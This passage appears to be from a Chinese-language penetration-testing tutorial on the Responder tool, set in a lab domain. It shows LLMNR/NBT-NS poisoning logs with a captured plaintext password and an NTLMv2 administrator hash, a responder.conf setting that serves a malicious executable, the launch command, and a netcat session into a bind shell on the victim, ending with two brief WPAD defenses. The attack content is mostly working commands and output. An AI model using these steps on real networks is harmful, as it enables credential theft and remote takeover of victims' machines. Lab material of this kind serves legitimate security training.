[*] [NBT-NS] Poisoned answer sent to 10.7.7.30 for name GOOGLE.COM (service: Workstation/Redirector)
[*] [NBT-NS] Poisoned answer sent to 10.7.7.30 for name WWW.GOOGLE.COM (service: Workstation/Redirector)
[HTTP] Basic Client : 10.7.7.30
[HTTP] Basic Username : PENTESTLAB\roland
[HTTP] Basic Password : secr3tPassw0rd123!
[*] [LLMNR] Poisoned answer sent to 10.7.7.30 for name respproxysrv
[SMB] NTLMv2-SSP Client : 10.7.7.30
[SMB] NTLMv2-SSP Username : PENTESTLAB\Administrator
[SMB] NTLMv2-SSP Hash : Administrator::PENTESTLAB:1122334455667788:8EBDB974DF3D5F4FB0CA15F1C5068856:01010000000000007894C6BE2C54D201FCEDFDB71BB6F1F20000000002000A0053004D0042003100320001000A0053004D0042003100320004000A0053004D0042003100320003000A0053004D0042003100320005000A0053004D004200310032000800300030000000000000000000000000300000B39077D5C9B729062C03BB45B88B0D9EC2672C57115A1FE3E06F77BD79551D8F0A001000000000000000000000000000000000000900220063006900660073002F007200650073007000700072006F00780079007300720076000000000000000000
[SMB] Requested Share : \\RESPPROXYSRV\IPC$
[*] [LLMNR] Poisoned answer sent to 10.7.7.30 for name respproxysrv
[*] Skipping previously captured hash for PENTESTLAB\Administrator
[SMB] Requested Share : \\RESPPROXYSRV\PICTURES
[*] [LLMNR] Poisoned answer sent to 10.7.7.30 for name respproxysrv
[*] Skipping previously captured hash for PENTESTLAB\Administrator
[SMB] Requested Share : \\RESPPROXYSRV\PICTURES
[*] [LLMNR] Poisoned answer sent to 10.7.7.30 for name respproxysrv
[*] Skipping previously captured hash for PENTESTLAB\Administrator
[SMB] Requested Share : \\RESPPROXYSRV\PICTURES
[*] Skipping previously captured hash for PENTESTLAB\roland

Responder的后门

Responder不仅可以针对WPAD服务的MiTM攻击。 它也可以强制受害者到一个假网页下载恶意文件。 社会工程可以用来真实地准备用于这次攻击的网页,响应者本身也有一个假的重定向页面。 我们所需要做的就是对responder.conf文件进行一些修改。 我们将“Serve-HTML”和“Serve-EXE”参数设置为“On”。

[HTTP Server]
; Set to On to always serve the custom EXE
Serve-Always = On
; Set to On to replace any requested .exe with the custom EXE
Serve-Exe = On 
; Set to On to serve the custom HTML if the URL does not contain .exe
; Set to Off to inject the 'HTMLToInject' in web pages instead
Serve-Html = On

我们再次运行Responder。

root@kali:~/Responder# python Responder.py -I eth0 -i 10.7.7.31 -r On -w On

现在,当受害者尝试使用互联网只会看到以下页面。 如果受害者点击代理客户端连接,下载CMD Shell,我们就可以使用netcat连接到受害者的140端口。

root@kali:~/Responder# nc 10.7.7.30 140 -vv
10.7.7.30: inverse host lookup failed: Host name lookup failure
(UNKNOWN) [10.7.7.30] 140 (?) open
        | 
        | 
        | 
    /\  |  /\  
    //\. .//\ 
    //\ . //\ 
    /  ( )/  \ 
Welcome To Spider Shell!
ipconfig
Microsoft Windows [Version 6.1.7601]
(c) 2009 Microsoft Corporation. All Rights reserved.
C:\Users\Roland\Desktop>ipconfig
ipconfig
Windows IP Configuration
Ethernet adapter Ethernet:
   Connection-spesific DNS Suffix   . : PENTESTLAB.local
   IPv4 Address . . . . . . . . . . . : 10.7.7.30
   Subnet Mask . . . . . . . . . . .  : 255.255.255.0
   Default Gateway . . . . . . . . .  : 10.7.7.1

针对WPAD的防御

  • 使用指向公司代理服务器的“WPAD”创建DNS条目, 所以攻击者将无法操纵流量。
  • 在所有具有组策略的Internet Explorer上禁用“自动检测代理设置”。

参考